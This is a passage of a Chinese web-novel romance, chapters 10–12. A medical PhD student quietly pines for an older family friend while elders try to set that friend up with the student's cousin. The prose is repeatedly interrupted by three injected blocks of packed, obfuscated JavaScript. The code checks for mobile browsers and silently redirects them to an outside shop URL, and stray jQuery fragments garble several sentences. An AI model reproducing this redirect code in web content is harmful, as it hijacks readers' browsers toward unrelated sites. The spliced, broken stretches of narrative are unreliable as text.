“我在做抗体孵育,手边没有抗体剥离液了,敷完目的蛋白的膜用tbst洗干净了能再用来孵内参么?目的蛋白跟内参比较接近。” “蛋白离得开就可以。” “这样内参会容易脏么?” “操作得当就不会脏,用tbst涮个两三次,每次三四分钟,抗体要背靠背孵。显影之后用快封封闭十分钟左右,再正常孵另一个,两个条带能分开就行。” “明白了,谢了师兄。” 余闻嘉挂了电话,池镜转头看了他一眼。 “实验室的学弟。”余闻嘉跟他报告了一下,然后问他:“你想吃什么?” “我问你呢,你想吃什么,我请客。” “你想去我们学校食堂吃么?大部分味道还不错。” “那就去食堂。” “一食堂面包房的芋泥大福很好吃,吃完晚饭可以去买。” 池镜微微挑眉,有点意外:“你不是不喜欢吃甜食吗,还知道这个。” “听实验室学弟说的。” 余闻嘉是不喜欢,但池镜喜欢。 “行,一会儿去尝尝有多好吃。” 接完苏文电话没多久,余闻嘉就又接到了另一个学弟的电话,也是他们实验室的。导师新开的实验项目是余闻嘉主导的,他平时周末都泡在实验室,偶尔一次没去,实验室有种离了他不能转了的感觉。 池镜余光瞥到来电显示是“实验室学弟2”,忍不住笑了:“你这么备注能分得清谁是谁?” 余闻嘉说:“分得清。” 苏文的备注是“实验室学弟6”,这些学弟的名字余闻嘉还是记得住的,只不过这么备注更直观些,电话一打过来就知道是实验室的,跟课题项目有关。 又是实验上的问题,跟苏文那个基础实验不同,这个解答起来复杂些。余闻嘉中午把水杯落在实验室的休息室了,他想着现在正好过去拿一下,就跟学弟2号说:“你等下,我一会儿去实验室,当面跟你说。” “好的好的,麻烦师兄了。” 电话挂断后,余闻嘉对池镜说:“我先去趟实验室,杯子落那儿了,正好学弟也有问题要问我,我过去跟他说下。” “行。” 进实验室大楼要刷脸,池镜进不去,只能在外面等。 余闻嘉跟他说:“等我十分钟。” 池镜开玩笑道:“十分钟到了呢,我先去食堂?” “我说十分钟就十分钟,你等我。” 言外之意,不让他先去。池镜笑了,说:“去吧,我现在开始计时。” 余闻嘉先去学生休息室拿了自己的水杯,进实验室的时候,苏文手头的实验刚告一段落,听到开门声他转头看了眼。 余闻嘉阔步走向学弟2号的位置。 学弟2号猛地转过头:“师兄你来这么快!” 余闻嘉用五分钟解答了他的疑问,来也匆匆,去也匆匆。苏文收拾好东西,也准备去吃晚饭了。他跟余闻嘉一起下了楼,在电梯里问余闻嘉:“一起去食堂吃晚饭么师兄?” 他平时在实验室话不多,但性格其实挺外向的,有什么说什么,在齐教授面前也是大大方方的,不会拘着。 “我约了别人了。”余闻嘉说。 “好吧,那我自个儿。” 余闻嘉和苏文一起走出了实验室大楼,苏文抬眼瞧见门口站着个身姿挺拔的男人,身上好像穿着余闻嘉上午穿的那件黑色冲锋衣,他背着身在接电话,突然转头往他们这边看了一眼。 因为是个帅哥,苏文就多看了两眼,同时也确认了这人身上穿的就是余闻嘉的衣服。 “师兄,你朋友?”苏文转过头问余闻嘉。 “嗯。” “哪种朋友啊?”苏文挺直白地问。 余闻嘉转头看了他一眼,没太反应过来,眼神有点疑惑。 苏文摸着鼻子笑了笑:“看来不是,想多了我。” 听到这余闻嘉才反应过来苏文的话外音。他不知道苏文怎么会九曲十八弯地想到那方面去,这人平时话不多,思维倒是很活跃,说起话来也没遮没掩。 余闻嘉没再接茬,走到池镜面前问:“几分钟?” “嗯?”池镜没反应过来。 “你不是计时了么,我进去出来几分钟?” “没计。”池镜顺嘴逗了他一下,“骗小朋友的话你也信。” 苏文正好经过这边,闻言发出一声爽朗的笑,随后很丝滑地接下了池镜的话:“一米八几的小朋友啊。”说罢还瞅了余闻嘉一眼。 余闻嘉侧过头看了他一眼。 苏文立马挥着手跑了:“我走了师兄,回见。” “是不是让你在学弟面前丢面儿了。”池镜看着苏文远去的身影说。 “他说的我也想问。”余闻嘉说。 池镜转过头来看他。 “有这么大的小朋友么。”余闻嘉看着他。 余闻嘉小时候不喜欢听池镜叫自己“小朋友”,长大反倒无所谓了,反正池镜就爱逗他。他讨厌的不是“小朋友”的称呼,而是跨不过去的“弟弟”的身份。 如今,此时此刻,池镜像年少时那样,手搭在余闻嘉头上轻轻晃了晃,感叹道:“时间真的过得挺快的。” 余闻嘉再见到池镜是七天后,这期间池镜去国外出差了。 爷爷组织家庭聚餐,地点就在他住的宅院,邀请了池镜一家。老爷子爱热闹,这种家庭聚餐隔段时间就要安排一次,回回都要叫上好些人。他住的地儿大,院子里有的是空间容纳人。 池镜还在单位,接到他妈电话,问他什么时候回来,提醒他别忘了今天余爷爷家的聚餐。 “快了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068921|148595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池镜说。 “你别迟到啊,下了班就赶紧过来。哎对了,你回来路过嘉嘉学校么?要是顺路你把嘉嘉一起带回来,省得他自己坐地铁了。” “他在学校?不在医院么?” “不在,你余爷爷问过了,还在学校弄他那个什么研究呢,这大周末的,早点回来也不碍事啊我寻思。” 池镜笑了笑:“他是不是不想来啊,你们搁那儿强人所难。” “瞎说八道,这可是家庭聚餐。” 池镜还真猜对了,余闻嘉确实不想去,每回家庭聚餐他都不想去,小型聚餐还行,起码都是自家人,大型聚餐就很不招他待见,一帮长辈和一些半生不熟的亲友,应付起来费劲。这次他特意提前问了,是小型的还是大型的,他爷爷说中型。 爷爷不为难人,大聚餐余闻嘉不想来从来不会硬逼着他过来,这次也没怎么,就跟他提了一下。余闻嘉从话里话间捕捉到了关键词“池家”,就问他爷爷池镜来不来。 “他肯定来啊。”爷爷话里带笑,余闻嘉不知道老爷子怎么这么高兴,“你这臭小子一天到晚就知道池镜池镜。” 老爷子毕竟是看着他俩长大的,余闻嘉跟池镜亲,从小他就看在眼里。刚跟池镜熟悉那会儿,这小子一口一个“池镜”地喊,后来长大点了才改口叫“哥”,池镜也是惯着他,对池明这个亲弟弟都没这么好的耐心。 这次聚餐唯一值得去的点是池镜也会去,所以余闻嘉应下了,他爷爷还骂他,说自个儿老骨头一把,面子还没你池镜哥哥大。 余闻嘉跟他臭贫,让他别妄自菲薄。 老爷子说拐杖给他备好了,回头过来领赏。 余闻嘉回了句“收到”。 池镜工作单位跟余闻嘉学校不顺路,但他还是跟他妈说:“知道了,我接他一起回去。” “哎成!”他妈今天心情挺好的,说话尾音都上扬。 池镜想起之前他朋友在内蒙古旅游给他寄的两箱风干牛肉,放在单位一直没时间吃,打算给余闻嘉送去。他把牛肉干搬上车,开车去了余闻嘉的学校。 余闻嘉不知道池镜来接他,出了实验室正准备回宿舍换身衣服,路上池镜来了通电话,问他是不是在实验室。 “刚出来,在回宿舍路上,怎么了?” “今天你家里不是有聚餐么,我妈让我过来接你。” “你已经在路上了?” “对,快到了。” “那我直接去校门口。” “不用,你回宿舍等我,我带了两箱风干牛肉,直接放你宿舍,你发个你们宿舍的位置给我,我开车过去。” 余闻嘉一愣:“你来我宿舍?” “不能来?” 余闻嘉沉默了两秒,说:“……能。” 余闻嘉迅速回了宿舍,进屋后收拾桌子,收拾床铺,把鞋架上的鞋摆整齐,一圈又一圈地环视宿舍,仔仔细细检查有没有哪里收拾不到位的。其实压根没什么可收拾的,他平时就够爱干净、够强迫症的了,桌子和床铺都整理得很干净,连书架上的书都是按照颜色渐变程度摆放的。 余闻嘉开学有一段时间了,新学期搬了新宿舍,双人间的博士宿舍。他一进来室友就一头雾水地看着他,不知道他忙前忙后在收拾什么,感觉收拾了个寂寞。 室友也是头一回见余闻嘉这么风风火火的,动作跟开了倍速似的,又是检查书桌,又是检查鞋柜,还把叠好的被子又散开重新叠了一遍。叠好不算完,还一遍又一遍地摆弄枕头,摆一下后退两步检查一下位置,如果歪了就重新摆,就这么反反复复,不厌其烦。 这强迫症也忒严重了。 室友都被他逗乐了:“您这干嘛呢?枕头都快哭了,你要不要凑近了听听?” 余闻嘉搭在枕头边上的手顿了顿。 心理波动过大可能会触发强迫症,比如焦虑,比如紧张,比如兴奋。 余闻嘉平时不这样。 “怎么了你?”室友问他,“对象来突击检查啊。” 10.第 10 章 10 “我没对象。”余闻嘉说着又把枕头拿起来重新摆放了一下。 “那你怎么突发恶疾。”室友侧过身看着被他折腾来折腾去的枕头,“枕头怪可怜的,你快放过它吧。” 余闻嘉皱着眉,总觉得这枕头怎么放都是歪的。 “一会儿是不是有人要来啊?”室友问了一句。 余闻嘉“嗯”了声。 “真不是对象啊?” “不是。” 依室友的经验判断,就余闻嘉这状态,造访之人如果不是他对象,那就是他暧昧对象。结果他兴致勃勃等了半天,没等来猜想中的“暧昧对象”,却等来一个很有气质的帅哥。 池镜到宿舍楼下便联系了余闻嘉,他不知道余闻嘉宿舍在几楼,也没法儿刷脸进去。余闻嘉下楼后看到池镜站在一楼大厅,脚边放着两箱牛肉干。 余闻嘉终于知道池镜为什么要直接来他宿舍了,那是整整两大箱牛肉干。 池镜正低头看手机,听到脚步声抬了下头,把手机放回口袋。 “这么多?”余闻嘉看了看他脚边的箱子。 “朋友寄的,谁知道寄这么两大箱,搁我那儿我也没时间吃。你放宿舍平时当个零嘴吃,挺香的,还能磨牙。” 余闻嘉看了他一眼。 池镜说笑道:“之前尝了一点,很有嚼劲,也就比皮革好啃那么一点点。” 余闻嘉弯腰搬起箱子,嘴欠起来都是云淡风轻的:“哦,原来你还啃过皮革。” 池镜弹了一下他脑门,正话反说:“越来越会说话了啊。” 余闻嘉手长,胳膊一捞想把两个箱子摞一块搬起来。池镜拦着他:“当自己是人猿泰山了,你也不怕闪着腰。” “这么轻的箱子能闪着腰也不容易。”余闻嘉轻轻松松地搬起来,说着看他一眼,“我的腰很好,你的担心是多余的。” 池镜笑了声:“嗯那是,谁让余博士年轻。” 话是这么说,最后还是两个人一起把箱子搬上去的。听到开锁声,室友倏地转过头,拧着脖子往门口看。余闻嘉高大的身材把他身后的人挡得严严实实,等两人都走进屋,室友才看清余闻嘉身后跟着的是个男人。 池镜冲他礼貌地点了下头,他立马端起笑容,心想自己还是太以己度人了。果然余闻嘉这人有什么说什么,说什么是什么,很坦荡一人,他说不是对象,还真不是。 室友平时也不是什么八卦之人,主要是因为余闻嘉在医学院挺出名的,长得帅,成绩顶,心外齐云枫教授的得意弟子,还在读硕士期间就发表了好几篇sci。这样的人受关注必然多,哪天要是官宣个对象,肯定能成为他们院里的热门话题。 室友跟余闻嘉不是一个科室的,他们科室也不是没人跟他打听过余闻嘉,还有让他帮忙要微信的。所以他才好奇呢,好奇余闻嘉是不是真名草有主了。这要是真的,院里指定得有一拨人心碎。 宿舍挺宽敞的,收拾得很干净,干净得不像个男生住的宿舍。余闻嘉从小就是个自律的乖小孩,做什么事都一丝不苟,宿舍环境这么整洁,池镜完全不意外。 “宿舍收拾得真干净。”池镜手搭在椅背上,说,“我手搁桌上都怕落灰。” 室友“噗嗤”一笑:“能不干净吗,刚才吭哧吭哧收拾半天。”他指指余闻嘉床上的枕头,越说越夸张:“那枕头被他拿了放,放了拿,少说百十来次了吧,折腾得都快没个枕头样儿了。” “……”余闻嘉沉默了有两三秒,“你还能再夸张点……” 室友乐道:“不是我夸张,是你刚才真太夸张了,我应该录下来给你看看的。” “走了,镜哥。”余闻嘉面上尴尬,不愿跟池镜对视,转身便走,留给他一个后脑勺。 池镜笑着跟上他。 下楼时余闻嘉绷着一张俊脸闭口不言。 “这么重视我的到访啊,我又不是卫生委员。”池镜开玩笑说。 余闻嘉沉默半天不知道说什么,叹了口气,用很低的声音叫了声“镜哥”,言外之意:你放过我吧。 池镜无声地笑了笑。 有时候他觉得余闻嘉变了,有时候又觉得没变。比如此时,他身上还是带着少年时期的影子。 时间会带走很多东西,能留下来的都弥足珍贵。 余闻嘉倒是觉得池镜一点没变,在池镜身边,他总是踏实的,自在的。 池镜之前驻外六年,跟余闻嘉联系很少,那六年对余闻嘉来说是一段很长时间的空白期,这期间就算池镜跟他疏远了也一点都不奇怪。 好在一切如初,池镜还是他记忆里的那个池镜。 他时常庆幸,偶尔厌烦,庆幸一切如初,也厌烦一切如初。有时想要的太多,就会被欲望吞噬。 胡同巷子里停不了车,池镜就把车停在了外面马路旁,跟余闻嘉一起走进了胡同。 路过池镜家的时候,余闻嘉往院里看了一眼。 余闻嘉已经很久没有去过池镜以前住的地方了,池镜现在不住这儿,他在单位附近有房。 院门已经换成了厚重的金属门,门口的屋檐加宽了,两旁的春联有了屋檐的遮挡,避免了风吹雨淋,颜色只褪了一点点。 这是间大杂院,池镜一家就住在其中的一间平房。后来另外几户慢慢都搬走了,池镜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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余闻嘉表叔有个女儿,就是他表姐,叫林琅,快三十了,至今单身。她是个律师,事业型女强人,有能力,长得又漂亮,倒也不是不入爱河的独身主义,就是一直没遇到合眼缘的。池姥姥一直为池镜成家这事发愁,有时会跟余爷爷提起,余老爷子就想起来他侄子家的姑娘,要能力有能力,要模样有模样,跟池镜挺般配。之后就受池姥姥所托,组了今天这个局。 当长辈的也担心逼太紧惹得孩子反感,就没明说,先一起吃顿饭熟悉一下,有个初印象,后续发展看孩子自己。 池明来这儿半天了,刚才进来看到余闻嘉他表姐就知道今天不是聚餐那么简单。他压低了声音跟余闻嘉说:“某人今天又要一个头两个大了。” 余闻嘉转头看他一眼。 池明还当他没听明白:“没看出来啊,这是要撮合你表姐跟我哥呢。” 余闻嘉没说话,脸上也没什么表情。 “干什么这么严肃。”池明笑笑,“搞得跟你要相亲似的。” 11.第 11 章 11 余老爷子招呼大家入座,池姥姥凑到池镜耳边小声说:“今天来的那姑娘是嘉嘉他表姐。” 池镜看了看他姥姥,顿时明白了今天这顿饭醉翁之意不在酒。 “跟你年纪一般大,是个律师。”姥姥说,“一会儿吃完饭你——” “您吃菜。”池镜给他姥姥夹了筷菜。 “你又打岔。” “不打岔我这饭没法儿吃了。” 姥姥自知心急了,拍拍他的胳膊说:“不说了不说了,你好好吃。” 池镜给她倒了杯白开水:“您最近血糖又升了吧,妈说您前两天又偷喝花生露。” “就喝了一点儿。”姥姥用拇指和食指比了个圈,还挺坦诚,“一小盅,我拿烧酒杯喝的,算好量的。” 池镜失笑:“您还好意思说。一口也不成,您自个儿血糖多高不知道啊。” 入座后,余老爷子挨个介绍了一下今天来的亲朋好友。介绍到池镜的时候,特意看向余闻嘉表姐,意思不言而喻。老爷子其实挺有分寸了,饭桌上都没有把话往俩小辈身上引,就正常聚餐正常闲聊,池镜和余闻嘉的表姐基本没什么存在感。 为了让俩年轻人有接触的机会,正餐结束后,余老爷子还安排了户外烧烤。都是请人弄的,厨师也是请的,老爷子指定菜品,都是小分量的菜,给他们留着肚子吃烧烤。 室外有风,池镜他妈给老爷子披了件外套,笑道:“您可真够能折腾的。” 眼见池镜跟那姑娘还没说上一句话,池姥姥坐不住了,端了盘烤好的肉串给池镜,让他给人家小姑娘送去。 这盘肉是从池明手里拿的,池明试图援救他哥:“我的姥啊,我的亲亲好姥……那我刚烤好的,我都饿晕了。” “这孩子……才刚吃完饭就饿晕了,我瞧你刚才也没少吃啊。这盘给姥姥,你再烤一盘去。” 援救失败,池明耸了耸肩,给他哥使了个眼色——尽力了。 池镜知道今天不跟那位女士说上话,他姥还有的折腾,他把池明烤的那盘肉串还给他,拿了自己手边的一盘去给了对方。本来女士们就都在旁边喝茶,烤肉是他们几个男人的活,烤好了给人送去也没什么奇怪的。 “刚烤好的。”池镜把烤盘递给对方,“趁热吃。” 对方愣了一下,接过盘子说了声“谢谢”,看着他问:“你叫……池镜?” “嗯。”池镜点了下头。 “你好。”对方伸出手,“我叫林琅。” 刚才在饭桌上余爷爷已经介绍过了,池镜知道她的名字,他跟她握了握手。 林琅看了眼手里的烤盘,挺坦诚地对池镜说:“我现在不是很饿,平时也不太吃这些,这个我先放一边OK吗?” “没事,你自便。” 林琅把烤盘放在一边桌上,抽了张纸巾擦擦手,继续跟池镜聊天。 “之前闻嘉的升学宴,你是不是也去了?” “是的。” 林琅笑了笑:“我说看你有点眼熟,我也去了。” 那天林琅虽然跟池镜不在一桌,但池镜当时是最后一个到场的,长了张让人印象深刻的脸,很难不让人记住。 “你跟闻嘉认识很久了?”林琅毕竟是当律师的,引导交流是她擅长的。她是个聪明人,知道把话头往哪儿引能挑起话题,彼此不熟的情况下,余闻嘉是能拉近他们之间距离的好话题。 “挺久了,小时候就认识。” “时间过得还挺快的,感觉很久前见他还是个小孩儿呢,一晃眼都已经考上博士了。”林琅端了杯茶,喝了一口,“我们家跟他家平常走动不多,最近一次见他还是之前升学宴上,吓我一跳,没想到都长这么高了。” 池镜垂眸笑了笑:“我也没想到。” 林琅觉得自己找了个好话题,她看着池镜,还想再聊聊别的。 “你来之前是不是不知道今天这顿饭是要撮合咱俩啊?”林琅笑着问池镜,她觉得池镜很合眼缘,想着都已经聊起来了,就不整那些弯弯绕绕了。 “确实不知道。”池镜说。 “我倒是一早就知道了。听姑公说你之前一直在国外工作?” “嗯。” “驻外挺辛苦的吧,一直在外面,一年到头跟家里人都见不了几面。” “习惯了就好了。” “你去过哪些国家啊?”林琅顿了一下,“问这些不冒犯吧?” “不会。” 池镜驻过三个国家,林琅听到南苏丹显得有些纳罕:“你去的时候那边还在打仗吧。” “现在也打,那边的战乱冲突从来没有真正意义上的结束过。”池镜顿了下,低声道,“不止是这个国家,世界上还有很多地方都处在这种水生火热的生存环境中,太多了。” 林琅叹了口气:“确实。” 天边有一架闪着光的飞机飞过,小小的,像闪烁的星星,池镜望着那颗“星星”,淡淡道:“所以我们是幸运的,我们的国家很伟大。” 池镜说这些话的时候表情很平静,声音像夜里的风那么柔和,看着他的眼神,林琅心有触动,很轻地“嗯”了一声。 池明抻着脖子往他哥那边看了一眼,用胳膊肘撞了撞旁边的余闻嘉:“我貌似预判失误,某人好像跟人聊得还挺好?” 余闻嘉没说话,一旁池姥姥都快乐开花了。 池母望了望池镜的方向,笑得很欣慰,转头跟池姥姥说:“果然这事儿还得看缘分,看对眼了可不就聊起来了。” 池姥姥点点头:“我看那俩孩子站一块哪哪儿都般配,那姑娘长得多水灵啊,小镜没道理看不上。” 池明笑道:“我哥那么肤浅呢,看人家水灵就喜欢人家啊。说起来他以前有跟人谈过恋爱么?这倒是我盲区了,好像没见过?” “他谈恋爱还跟你说啊。”池母笑了声,“在外头那么多年呢。” 池明啧了一声:“说的也是,说不定大学就谈了,他这人干什么都鸟悄儿的。” 余闻嘉拿起手边的矿泉水打开喝了一口,拎着瓶子去跟他爷爷打了声招呼,说他先走了。 “这刚几点,那么早走干什么?”爷爷问他。 “我回学校了,有事。” “又回去弄你那个研究啊?” “嗯。” 爷爷叹了口气:“成吧,你忙,不耽误你事儿。” “那我开车送你?”他妈说。 “不用,我坐地铁。” 他妈看着他,面露忧色,摸了一下他的额头:“是不是呛风着凉了,怎么脸色这么难看。” 余闻嘉握了握他妈的手:“没。我走了,妈。” 余闻嘉径直往门口走去,离开时也没跟池镜打招呼,他从来都不是个情绪化的人,但眼下的所作所为在他自己看来已经相当情绪化了。他一步也不想往池镜那儿靠近,不想看池镜跟另一个女人站在一起,也不想听池镜跟对方说话。现在再去池镜身边,只会陷入情绪的漩涡,被负面心理操控。 池镜眼看着余闻嘉头也不回地走向门口,连声招呼都没跟他打。他结束跟林琅的对话,朝余闻嘉跟了过去。 “走也不跟我打声招呼?” 池镜的声音从后面传来,余闻嘉脚步一顿,停在原地。 脚步声渐近,余闻嘉仍然没有转身,背对着池镜说:“我走了镜哥。” “怎么现在就走了?有急事?” “我回学校。” 余闻嘉没有正面回答他的问题,那就是没有急事。 “没急事你这么着急走。” “没意思。”余闻嘉说。 池镜一愣,这三个字带着很淡的情绪,如果不是很了解余闻嘉,一般是听不出来的。 余闻嘉转头看了池镜一眼:“在这儿没什么意思,我先回学校了。” “我送你。” 余闻嘉往池姥姥和池母的方向看了一眼,说:“我坐地铁。” “说了送你。” “你走了姥姥她们该不高兴了。” 余闻嘉没让池镜送他,自己坐地铁回了学校。 跨不过的“弟弟”的身份自始至终都是一座无形的大山,压得余闻嘉寸步难行。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093982|148595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他不是没想过往前跨一步,可一旦跨过,说不定连“弟弟”的身份都不再有了——这一点,从他第一次因为池镜跟别的女生走太近而对他发脾气的时候就告诫过自己了。 那时候余闻嘉已经上大学了,跟池镜一样,就在本市上学。他们的学校在同一个区,一条地铁线上。池镜当时在他们学校附近的一家咖啡店兼职,有次余闻嘉在那里碰见了他,那之后余闻嘉经常会去那家咖啡店,没课的时候就泡在咖啡店,看书,写课业,一待就待很久。 池镜不是每天都在,一般都是周末来,有段时间有个女生经常会来店里接池镜下班,她看到余闻嘉会跟他打招呼,好像认识他一样。余闻嘉对她没印象,后来才知道她是池镜的高中同学,还跟池镜上了一个大学。 往后的日子余闻嘉便不再去那家咖啡店了,然而后来有一天,他终于还是在池镜的家里见到了那个女生。 他去池家送东西,习惯性地走进池镜的卧室,撞见那个女生在那里,弯着腰拎起了池镜床上的一个玩偶,她以为进来的是池镜,拎着玩偶转身笑道:“你还喜欢这个呢?好可爱。” 那个玩偶是余闻嘉好几年送给池镜的,一只穿着宇航服的棕色小熊,已经有些旧了,宇航服可以脱下来,池镜隔段时间就会洗一洗宇航服,洗一洗小熊,熊给他洗得都有点褪色了,深棕褪成了浅棕。 余闻嘉当时心头升起一股无名火,烦躁的情绪一下子被点燃了,没等那女生反应过来就一把夺过她手里的玩偶,他转身时正好撞见进来的池镜。 池镜看他冷着脸,一脸状况外:“怎么了?”他看了眼余闻嘉手里的玩偶,越发疑惑,抬眼看向他同学。 女同学愣在那儿也很懵,不知道什么情况。 “怎么了你?”池镜压低了声音,按着余闻嘉的后脑勺,低头看着他。那时候余闻嘉才到他肩膀,跟他说话都要微微仰着头。 “我给你的东西,别人凭什么碰?” 余闻嘉眼底有情绪,但池镜看不透。他有点愣,低头看着他手里的小熊,还没开口,余闻嘉就推开他出去了。 余闻嘉出去后就把玩偶扔进了路旁垃圾桶,回家关上房门往床上一趴,脸蒙在枕头里,心口难受到窒息。 他知道一切的缘由是因为嫉妒,他被负面情绪裹挟了,完全失控,刚才在池镜面前,他就像个可笑的小丑。 不久后,门外有人敲门,是池镜的声音。余闻嘉把门锁了,池镜在门外问:“还打算理我么?” 余闻嘉深吸一口气,起身清了清嗓子:“我睡觉了。” “才七点你睡什么觉,开门。” 枕头上有点点泪痕,余闻嘉按了按眼睛,走到门后说:“真要睡觉了,镜哥。” 他现在是不可能让池镜进来的,不知道该怎么面对,现在这幅样子也没法儿面对他。 “她不知道那是你送我的玩偶。”池镜说。 想到被扔到垃圾桶的小熊,余闻嘉又是一阵难受,他甚至不敢问池镜跟那个女生是什么关系。 “我知道。”余闻嘉低着头。 “我以后藏里边儿点,不会再让人碰了。” 余闻嘉愣了愣,抬头看着门板。 池镜手里拿着刚从垃圾桶里捡出来的小熊,说:“你扔我也成啊,扔它干什么,我现在身上一股垃圾味儿,是不是赖你?” 余闻嘉“嗯”了声,低声道:“赖我。” “还好那垃圾桶里面都是些纸板。”池镜拍拍小熊的鼻头。 “对不起……”余闻嘉额头抵在门上,“镜哥。” 池镜轻声问:“能不能告诉我你今天到底怎么了?” 他实在想不通余闻嘉怎么会突然发那么大脾气,这太不像他了。 “没怎么,在学校跟同学吵架了,心情不好。”余闻嘉摸了下门板,像在隔着门板抚摸池镜的脸庞,“镜哥。” “嗯你说,我听着呢。” 余闻嘉沉默良久,说:“头有点疼,我想先睡了。” 从那一天起,余闻嘉就意识到,比起自己想要的那些,他更希望池镜能过平静正常的生活。 12.第 12 章 12 余闻嘉回学校后直接去了实验室,在那里碰见了苏文。这孩子科研狂魔的属性已经初现端倪,余闻嘉算来实验室来得频繁的了,基本每次来都能看见他的身影。 苏文做实验投入,余闻嘉进来了好一会儿他才发现。扭脖子活动筋骨的间隙,转头发现不远处位置坐了个人,吓得差点把手里的试管捏爆了。 “我靠。”苏文惊魂未定,“师兄你吓我一跳。” 余闻嘉没应声,低着头做自己的事。 苏文也没再跟他说话,继续做自己的实验了。 两个人十点才离开实验室,一起下了楼。进电梯后,苏文按下楼层按钮,转头看看余闻嘉,突然问了句:“师兄,你心情不好?” 余闻嘉看他一眼。 余闻嘉一直觉得苏文平时在实验室存在感挺低的,专注自己的事情,很少发言。不过他直人快语,要么不说话,一说就戳到要害。 余闻嘉没回他,苏文说:“我请你吃夜宵吧,北街烧烤吃吗?” 哪壶不开提哪壶,一挑就挑了个烧烤,余闻嘉现在看见烧烤八成能一脚把烤炉给踹翻了。 苏文摸了下肚子,本来觉得还行,一提倒还真饿了。 这边离北街不远,苏文说:“走吧。” “我不吃。”余闻嘉说。 “吃吧,心情不好,吃点好的说不定能缓解一下。我室友说北街有家烧烤味道挺不错的,走,我请客。” 吃烧烤? 那不是缓解,是恶化。 余闻嘉最终还是跟苏文去北街转了一圈,俩人没吃烧烤,路过一个卖炒河粉的摊子,苏文被香得走不动道,转头问余闻嘉吃不吃。 余闻嘉说:“我不吃。” 苏文要了一份,余闻嘉拿出手机要扫付款码。 “说好我请的啊。”苏文说。 “谁跟你说好了。”说罢余闻嘉扫了一下码,付完钱跟苏文说:“我走了。” “哎师兄。”苏文叫住他。 余闻嘉回过头。 “下周日会展中心的学术会议,你跟齐教授一块儿去吗?” “嗯。”余闻嘉点了下头。 大型的学术会议一般都是导师带着学生一起去,这次的会议齐教授肯定去,他要上台作学术汇报,想去的学生在他那儿报个名就行了。余闻嘉有篇课题论文被选中了,这次不仅是去听讲的,也要上台作交流报告。 苏文笑了笑:“行。炒河粉谢了,下次我一定请你。” 第二天一大早余闻嘉就去了医院,忙了一上午没空喝口水,中午休息的时候突然接到了他表姐的电话。林琅知道他忙,特意凑着休息时间打来的。余闻嘉在学校食堂吃饭,对着坐着李彻和陆思远,他俩关系铁得像双胞胎,只要不工作,休息时间就老凑一块。 余闻嘉接了他表姐电话,林琅在电话那头笑了下:“闻嘉,是我。” “嗯,表姐。” “没打扰你吧?” “没。怎么了,有事?” “没什么大事儿,就是想找你问问池镜,你不是跟他挺熟的么,姑公说你俩关系可好。” 余闻嘉垂下眼眸:“你要问什么?” “也没什么。我打算下周日约他吃个饭,去我朋友开的私房餐馆,想知道他有没有什么喜欢的不喜欢的菜,我提前做个功课,免得踩雷。” 林琅是行动派,她对池镜有好感,自然是主动出击,面面俱到。 “这些你直接问他本人不是更方便吗。”余闻嘉说。 “一看你就是没追过人的。”林琅笑着说。 余闻嘉皱了皱眉。 “有些事不能明着来,含蓄点可能更有成效。所以这方面你有什么能透露给我的么?我做做功课。” 余闻嘉沉默片刻,说:“他土豆过敏。” 对面的李彻和陆思远闻言同时抬头看向了他,因为俩人正夹了一筷醋溜土豆丝要往嘴里塞。 “不吃青椒。”余闻嘉又说。 “行,我记着了,还有吗?还有没有别的不吃的,或者他喜欢吃什么?” “他不挑食,不吃的就这两个。”余闻嘉看了眼手边的香蕉,又补充了一点:“他喜欢吃甜食。” 林琅清脆的笑声隔着手机传过来:“这样啊,还真看不出来。成,我有数了,谢谢你了闻嘉。” 李彻从余闻嘉跟对方说的话里听了个大概,见余闻嘉面无表情的一张脸,反应很快:“什么情况啊,给你情敌当军师呢?” 余闻嘉抬眼看他。 李彻脑子转得太快了,他指了指余闻嘉手边的手机,以为自己师弟让人横刀夺爱还给人做嫁衣,还挺不爽的:“谁不吃青椒啊?你心上人?” 其实陆思远也看出来了,只不过他说话没李彻那么直,李彻话题跳得太快了,说个话没头没尾的。陆思远转头看着他:“你的思维还能再跳跃点儿。” “怎么我说的不是那么回事儿吗?”李彻看着余闻嘉,老父亲一般的语气,“不是你心上人你拉着一张脸?谁啊?谁跟你打听人吃不吃青椒?我说闻嘉,你这不行,你这孩子就是太闷了,心思重,什么都搁心里,这不行啊这……” “行行行了,你赶紧吃你的吧。”陆思远打断他,很明显余闻嘉不想聊这个,也很明显李彻猜的就是那么回事儿。 “你甭理他。”陆思远对余闻嘉说,“昨晚上估计喝假酒了,要么早上没吃药就出门了。” “我昨晚值班我——”李彻气笑了,“喝什么假酒。” “那能闭嘴了么?”陆思远趁余闻嘉不注意冲他使了个眼色,让他赶紧揭过这茬。 李彻叹了口气,不再发表意见了。他感觉自己是上年纪了,搞不懂小年轻的弯弯绕绕。 直到周日学术会议当天,苏文才知道余闻嘉也要上台作学术报告,这个会场能上台做汇报的都是大佬,他知道余闻嘉厉害,但没想到这么厉害。 “你怎么这么牛。”苏文坐在余闻嘉旁边,忍不住说了一句。 